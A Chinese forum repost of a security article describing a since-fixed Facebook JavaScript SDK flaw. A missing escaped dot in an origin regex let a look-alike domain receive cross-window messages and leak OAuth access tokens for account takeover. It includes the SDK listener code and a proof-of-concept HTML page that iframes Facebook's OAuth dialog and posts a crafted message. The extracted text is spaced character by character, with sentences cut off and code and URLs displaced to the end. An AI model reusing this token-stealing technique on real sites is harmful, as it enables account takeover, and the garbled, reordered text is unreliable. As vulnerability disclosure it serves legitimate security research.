搜索

[2245] 2021-01-14_FacebookJavascriptSDK中使用的错误正则表达式会导致包含该正则表达式的网站被帐户收购

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-16
2021-01-14_FacebookJavascriptSDK中使用的错误正则表达式会导致包含该正则表达式的网站被帐户收购 F a c e b o o k   J a v a s c r i p t   S D K 中 使 用 的 错 误 正 则 表 达 式 会 导 致 包 含 该 正 则 表 达 式 的 网 站 被 帐 户 收 购 原 创   s a m m 0 u d a   E D I 安 全   2 0 2 1 - 0 1 - 1 4 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 0 1 0 1 背 景 背 景 此 错 误 可 能 使 攻 击 者 可 以 将 包 含 F a c e b o o k   J a v a s c r i p t   S D K 的 网 站 定 位 为 目 标 。 攻 击 者 会 诱 骗 某 个 网 站 用 户 访 问 其 网 站 ， 这 将 利 用 S D K 中 使 用 的 实 现 中 的 错 误 来 允 许 包 含 S D K 的 网 站 与 F a c e b o o k 主 网 站 之 间 的 跨 域 通 信 。 由 于 各 种 原 因 ， 开 发 人 员 广 泛 使 用 F a c e b o o k   J S   S D K ， 例 如 使 用 F a c e b o o k 登 录 到 网 站 或 嵌 入 “ 共 享 ” 或 “ 赞 ” 插 件 ， 这 使 成 千 上 万 的 网 站 容 易 受 到 帐 户 收 购 等 各 种 攻 击 。 0 2 0 2 技 术 细 节 技 术 细 节 F a c e b o o k   J S   S D K 可 能 由 于 各 种 原 因 在 网 站 上 实 现 ， 例 如 使 用 F a c e b o o k 登 录 ， 共 享 ， 嵌 入 。 同 样 ， 也 可 以 使 用 相 同 的 S D K 与 F a c e b o o k 网 站 进 行 通 信 ， 以 验 证 和 提 供 可 通 过 a p p s . f a c e b o o k . c o m 或 页 面 标 签 访 问 的 C a n v a s   /   T a b 应 用 程 序 的 内 容 。 这 是 通 过 将 S D K 包 含 在 网 站 上 具 有 画 布 应 用 程 序 内 容 的 页 面 中 来 完 成 的 ， 然 后 在 F a c e b o o k 画 布 应 用 程 序 设 置 中 添 加 页 面 链 接 。 如 果 您 访 问 a p p s . f a c e b o o k . c o m / A P P _ I D / ， 则 应 发 现 所 选 页 面 将 在 i f r a m e 中 提 供 ， 而 F a c e b o o k 网 站 将 通 过 使 用 p o s t M e s s a g e 方 法 和 E v e n t L i s t e n e r s 进 行 跨 域 窗 口 消 息 与 您 的 网 站 进 行 通 信 ， 反 之 亦 然 。 安 全 跨 域 通 信 的 主 要 密 钥 是 始 终 验 证 特 定 消 息 的 起 源 和 目 的 地 。 F a c e b o o k 无 法 在 第 三 方 网 站 所 包 含 的 S D K 中 执 行 此 操 作 ， 因 为 它 使 用 错 误 的 正 则 表 达 式 来 验 证 收 到 的 某 些 跨 域 消 息 的 来 源 ： 这 是 负 责 跨 域 通 信 的 代 码 的 一 部 分 在 S D K 中 ： 如 果 我 们 检 查 代 码 ， 就 会 发 现 S D K 内 有 一 个 E v e n t l i s t e n e r 用 于 跨 源 消 息 。 收 到 消 息 后 ， 它 将 检 查 源 是 否 以 h t t p s （ 或 本 机 ） 开 头 ， 并 检 查 正 则 表 达 式 。 您 可 能 会 注 意 到 正 则 表 达 式 本 应 以 f a c e b o o k . c o m 及 其 子 域 为 目 标 ， 但 是 在 f a c e b o o k . c o m 之 前 缺 少 一 个 转 义 点 。 这 样 ， 像 t e s t p o c f a c e b o o k . c o m 这 样 的 域 就 可 以 通 过 此 处 进 行 的 来 源 检 查 。 这 是 该 漏 洞 的 利 用 。 如 上 文 所 述 ， S D K 包 括 用 于 所 有 可 能 功 能 的 代 码 ， 网 站 可 以 使 用 S D K 来 仅 使 用 共 享 功 能 ， 但 是 仍 将 包 括 画 布 功 能 的 代 码 ， 这 意 味 着 该 网 站 将 具 有 用 于 跨 源 消 息 的 E v e n t L i s t e n e r 现 在 将 通 过 利 用 该 漏 洞 从 攻 击 者 拥 有 的 网 站 接 受 消 息 。 正 如 您 在 上 面 的 代 码 中 可 能 会 注 意 到 的 那 样 ， 已 检 查 消 息 的 来 源 ， 它 应 该 是 父 窗 口 ， 这 意 味 着 要 使 其 正 常 工 作 ， 目 标 页 面 还 必 须 允 许 其 自 身 被 格 式 化 。 总 而 言 之 ， 如 果 我 们 可 以 在 包 含 F a c e b o o k   J a v a s c r i p t   S D K 的 网 站 中 找 到 一 个 页 面 并 且 可 以 对 其 进 行 格 式 化 ， 则 可 以 泄 漏 该 页 面 的 w i n d o w . l o c a t i o n . h r e f 。 0 3 0 3 如 何 利 用 如 何 利 用 在 目 标 网 站 中 重 定 向 后 ， 这 可 用 于 泄 漏 信 息 。 例 如 ， 如 果 我 们   将 重 定 向 到 _ _ d ( " s d k . X D " ,   [ " J S S D K X D C o n f i g " ,   " L o g " ,   " Q u e r y S t r i n g " ,   " Q u e u e " ,   " U r l M a p " ,   " g u i d " ,   " i s F a c e b o o k U R I " ,   " r e s o l v e W i n d o w " ,   " s d k . E v e n t " ,   " s d k . f e a t u r e " ,   " s d k . R P C " ,   " s d k . R u n t i m e " ,   " s d k . S c r i b e "                                           v a r   g   =   n e w ( b ( " Q u e u e " ) ) ( ) ,                                                   h   =   " p a r e n t " ,                                                   i   =   n u l l ,                                                       j   =   / ^ h t t p s : / / . * f a c e b o o k . c o m $ / ; . . . w i n d o w . a d d E v e n t L i s t e n e r ( " m e s s a g e " ,   f u n c t i o n ( a )   {                                                           v a r   c   =   a . d a t a ,                                                                   d   =   a . o r i g i n   | |   " n a t i v e " ;                                                           i f   ( ! / ^ ( h t t p s ? : / / | n a t i v e $ ) / . t e s t ( d ) )   {                                                                   b ( " L o g " ) . d e b u g ( " R e c e i v e d   m e s s a g e   f r o m   i n v a l i d   o r i g i n   t y p e :   % s " ,   d ) ;                                                                   r e t u r n                                                           }                                                           i f   ( ! j . t e s t ( d ) )   r e t u r n ;                                                           i f   ( t y p e o f   c   = = =   " s t r i n g " )   r ( c ,   d ) ;                                                           e l s e   {                                                                   i f   ( a . s o u r c e   = =   p a r e n t   & &   a . d a t a . x d A r b i t e r R e g i s t e r A c k   & &   j . t e s t ( d ) )   {                                                                           t y p e o f   a . d a t a . x d A r b i t e r R e g i s t e r A c k   = = =   " s t r i n g "   & &   a . d a t a . x d A r b i t e r R e g i s t e r A c k   ! = =   " "   & &   p ( a . d a t a . x d A r b i t e r R e g i s t e r A c k ) ;                                                                           g . i s S t a r t e d ( )   | |   g . s t a r t ( f u n c t i o n ( a )   {                                                                                   i f   ( a   = =   n u l l )   {                                                                                           b ( " L o g " ) . w a r n ( " D i s c a r d i n g   n u l l   m e s s a g e   f r o m   % s   t o   % s " ,   m ,   d ) ;                                                                                           r e t u r n                                                                                   }                                                                                   v a r   c   =   p a r e n t ;                                                                                   t y p e o f   a   = = =   " o b j e c t "   & &   t y p e o f   a . r e l a t i o n   = = =   " s t r i n g "   & &   ( c   =   b ( " r e s o l v e W i n d o w " ) ( a . r e l a t i o n ) ) ;                                                                                   ( ( c   =   c )   ! =   n u l l   ?   c   :   p a r e n t ) . p o s t M e s s a g e ( {                                                                                           x d A r b i t e r H a n d l e M e s s a g e :   ! 0 ,                                                                                           m e s s a g e :   a ,                                                                                           o r i g i n :   m                                                                                   } ,   d )                                                                           } ) ;                                                                           r e t u r n                                                                   }                                                                   b ( " L o g " ) . w a r n ( " R e c e i v e d   m e s s a g e   o f   t y p e   % s   f r o m   % s ,   e x p e c t e d   a   s t r i n g .   % s " ,   t y p e o f   c ,   m ,   E S ( " J S O N " ,   " s t r i n g i f y " ,   ! 1 ,   c ) ) ;                                                                   r e t u r n                                                           }                                                   } ) ; “   / ^ h t t p s : / / . * f a c e b o o k . c o m $ /   ” ， （ 正 确 的 是 / ^ h t t p s : / / . * . f a c e b o o k . c o m $ / ） 。 t e s t p o c f a c e b o o k . c o m 发 送 的 消 息 为 { “   x d A r b i t e r R e g i s t e r A c k ” ： “   c a n v a s ” } S D K 会 将 F B _ R P C   j s o n 格 式 的 消 息 返 回 到 父 窗 口 。 该 消 息 将 包 括 “   f a l l b a c k _ r e d i r e c t _ u r i ” ， 它 是 w i n d o w . l o c a t i o n . h r e f 的 值 。
页 面 ， 则 可 以   对 /   p r o f i l e   / 页 面 进 行 格 式 化 ， 我 们 在 重 定 向 后 发 送 消 息 ， 然 后 将 收 到 登 录 的 用 户 配 置 文 件 I D 。 同 样 的 攻 击 可 能 会 应 用 于 o a u t h 或 其 他 授 权 机 制 的 回 调 终 结 点 ， 包 括 F a c e b o o k   S D K 。 由 于 许 多 网 站 的 每 个 页 面 都 包 含 F a c e b o o k   J S   S D K （ 以 与 包 含 G o o g l e   A n a l y t i c s （ 分 析 ） 标 签 相 同 的 方 式 ） ， 因 此 这 将 使 帐 户 能 够 被 接 管 或 窃 取 敏 感 令 牌 。 这 将 与 前 面 的 示 例 相 同 ， 我 们 假 设 网 站 使 用 G o o g l e 或 F a c e b o o k 进 行 身 份 验 证 ， 我 们 将 对 进 行 内 嵌 。 c o m   /   d i a l o g   /   o a u t h ， 其 参 数 包 括 目 标 网 站 G o o g l e 或 F a c e b o o k 应 用 程 序 的 详 细 信 息 （ r e d i r e c t _ u r i 和 a p p _ i d ） ， 如 果 受 害 者 已 经 登 录 到 其 F a c e b o o k 或 G o o g l e 帐 户 ， 则 这 些 网 址 将 重 定 向 到 目 标 网 站 中 的 回 调 终 结 点 网 站 ， 如 果 回 调 端 点 可 以 被 i f r a m e d ， 可 以 轻 松 针 对 托 管 画 布 应 用 或 页 面 选 项 卡 的 网 站 发 起 此 攻 击 。 可 以 对 c a n v a s 应 用 程 序 中 使 用 的 页 面 进 行 格 式 化 ， 以 允 许 其 自 身 包 含 在 a p p s . f a c e b o o k . c o m 中 的 i f r a m e 中 ， 并 且 大 多 数 情 况 下 ， 同 一 页 面 也 将 用 作 F a c e b o o k   o a u t h 回 调 终 结 点 。 我 们 将 使 用 以 下 s r c 将 i f r a m e 嵌 入 如 果 用 户 之 前 对 此 应 用 程 序 进 行 了 授 权 ， 则 它 将 直 接 重 定 向 到 R E D I R E C T _ U R I ， 该 地 址 将 嵌 入 F a c e b o o k   S D K 脚 本 。 届 时 ， 父 窗 口 将 发 送 跨 域 消 息 并 接 收 嵌 入 在 f a l l b a c k _ r e d i r e c t _ u r i 中 的 a c c e s s _ t o k e n 。 攻 击 者 网 站 可 能 有 1 0 0 个 i f r a m e ， 每 个 i f r a m e 指 向 托 管 画 布 应 用 程 序 的 不 同 网 站 ， 这 将 增 加 访 问 者 之 前 使 用 这 些 应 用 程 序 之 一 的 机 会 ， 我 们 最 终 将 获 得 在 应 用 程 序 范 围 内 选 择 了 权 限 的 a c c e s s _ t o k e n 。 快 速 示 范 发 送 给 F a c e b o o k 的 报 告 中 使 用 了 该 P o C （ 因 为 我 无 法 包 含 第 三 方 网 站 的 P o C ） 。 尽 管 由 于 w w w . i n s t a g r a m . c o m 回 调 端 点 不 允 许 对 其 本 身 进 行 格 式 化 （ X - F r a m e - O p t i o n s ： 设 置 了 拒 绝 标 头 ） ， 所 以 此 方 法 不 起 作 用 ， 但 是 该 端 点 包 括 F a c e b o o k   J S   S D K 。 如 果 发 现 绕 过 i f r a m i n g 问 题 ， 则 可 能 导 致 完 整 的 F a c e b o o k 帐 户 接 管 ， 因 为 I n s t a g r a m . c o m   F a c e b o o k 应 用 程 序 是 第 一 方 应 用 程 序 ， 并 且 生 成 的 a c c e s s _ t o k e n s 可 以 访 问 如 果 登 录 的 F a c e b o o k 用 户 访 问 攻 击 者 网 站 ， 则 i f r a m e 中 将 请 求 端 点 /   a c c o u n t s   /   s i g n u p   / 包 含 F a c e b o o k   S D K （ 尽 管 不 能 被 i f r a m e d ， 但 出 于 示 例 的 原 因 ， 我 们 假 定 它 可 以 ） 。 跨 域 消 息 将 发 送 到 i f r a m e 窗 口 ， 我 们 将 收 到 包 含 F a c e b o o k 用 户 a c c e s s _ t o k e n 的 消 息 。 然 后 ， 我 们 可 以 接 管 帐 户 ： ' ） 。 许 多 使 用 F a c e b o o k   J a v a s c r i p t   S D K 的 著 名 网 站 都 容 易 受 到 使 用 相 同 攻 击 逻 辑 的 用 户 帐 户 接 管 的 影 响 。 我 很 高 兴 发 现 此 错 误 并 及 时 报 告 了 该 错 误 ， 然 后 加 以 利 用 。 0 4 0 4 时 间 线 时 间 线 2 0 2 0 年 1 1 月 2 0 日 - 发 送 报 告   2 0 2 0 年 1 1 月 2 7 日 - F a c e b o o k 确 认 2 0 2 0 年 1 2 月 4 日 - F a c e b o o k 固 定 2 0 2 0 年 1 2 月 3 1 日 - F a c e b o o k 授 予 的 $   1 0 K 赏 金 。 + E D I 安 全 安 全 一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 h t t p s : / / e x a m p l e . c o m / p r o f i l e / P R O F I L E _ I D 的 i f r a m e   h t t p s : / / e x a m p l e . c o m / m e h t t p s : / / a c c o u n t s . g o o g l e . c o m / o / o a u t h 2 / a u t h 或 h t t p s ： / / w w w . f a c e b o o k h t t p s : / / t e s t p o c f a c e b o o k . c o m / 中 ： h t t p s : / / w w w . f a c e b o o k . c o m / d i a l o g / o a u t h ? c l i e n t _ i d = A P P & r e d i r e c t _ u r i = R E D I R E C T _ U R I & r e s p o n s e _ t y p e   = t o k e n 。 h t t p s : / / g r a p h . f a c e b o o k . c o m /   g r a p h q l < h t m l > < h e a d > w i n d o w . a d d E v e n t L i s t e n e r ( " m e s s a g e " ,   ( e v e n t )   = >   { c o n s o l e . l o g ( e v e n t . d a t a ) ;   } ,   f a l s e ) ; < / h e a d > < b o d y > < s c r i p t > f u n c t i o n   f u n ( )   { v a r   i f r   =   d o c u m e n t . g e t E l e m e n t B y I d ( ' i f r ' ) ; i f r . c o n t e n t W i n d o w . p o s t M e s s a g e ( { " x d A r b i t e r R e g i s t e r A c k " : " c a n v a s " } ,   ' * ' ) ; } < / s c r i p t > < i f r a m e   s r c = " h t t p s : / / w w w . f a c e b o o k . c o m / d i a l o g / o a u t h ? c l i e n t _ i d = 1 2 4 0 2 4 5 7 4 2 8 7 4 1 4 & r e d i r e c t _ u r i = h t t p s : / / w w w . i n s t a g r a m . c o m / a c c o u n t s / s i g n u p / & s c o p e = e m a i l & r e s p o n s e _ t y p e = t o k e n "   o n l o a d = " f u n ( t h i s ) " < / b o d y > < / h t m l > h t t p s : / / w w w . f a c e b o o k . c o m / d i a l o g / o a u t h ， 将 重 定 向 到 h t t p s : / / w w w . i n s t a g r a m . c o m / a c c o u n t s / 在 U R L 的 哈 希 片 段 部 分 中 使 用 a c c e s s _ t o k e n 进 行 s i g n u p   / 。 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理